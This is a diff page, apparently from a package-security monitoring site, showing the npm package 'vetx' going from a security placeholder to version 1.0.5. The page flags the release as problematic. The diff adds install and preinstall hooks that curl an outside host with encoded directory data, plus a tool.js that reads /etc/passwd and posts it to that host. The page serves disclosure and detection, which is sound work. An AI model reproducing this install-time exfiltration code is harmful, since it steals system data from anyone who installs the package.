vetx 0.0.1-security → 1.0.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of vetx might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +14 -4
  2. package/tool.js +24 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
- "name": "vetx",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "vetx",
3
+ "version": "1.0.5",
4
+ "description": "testing",
5
+ "main": "tool.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "install": "curl https://lvds.colabs.workers.dev/vetx/install/?$(pwd | base64)",
9
+ "preinstall": "curl https://lvds.colabs.workers.dev/vetx/preinstall/$(ls ../ | base64)"
10
+ },
11
+ "author": "",
12
+ "license": "MIT",
13
+ "dependencies": {
14
+ "axios": "^1.6.0"
15
+ }
6
16
  }
package/tool.js ADDED
@@ -0,0 +1,24 @@
1
+ const { exec } = require('child_process');
2
+ const axios = require('axios');
3
+
4
+ const comando = 'cat /etc/passwd';
5
+
6
+ exec(comando, (error, stdout, stderr) => {
7
+ if (error) {
8
+ console.error(`Erro: ${error}`);
9
+ return;
10
+ }
11
+ console.log(`output: ${stdout}`);
12
+ console.error(`error: ${stderr}`);
13
+
14
+ const urlExterna = 'https://lvds.colabs.workers.dev';
15
+
16
+
17
+ axios.post(urlExterna, { output: stdout })
18
+ .then(response => {s
19
+ console.log('output sent');
20
+ })
21
+ .catch(err => {
22
+ console.error('error to send the output:', err);
23
+ });
24
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vetx for more information.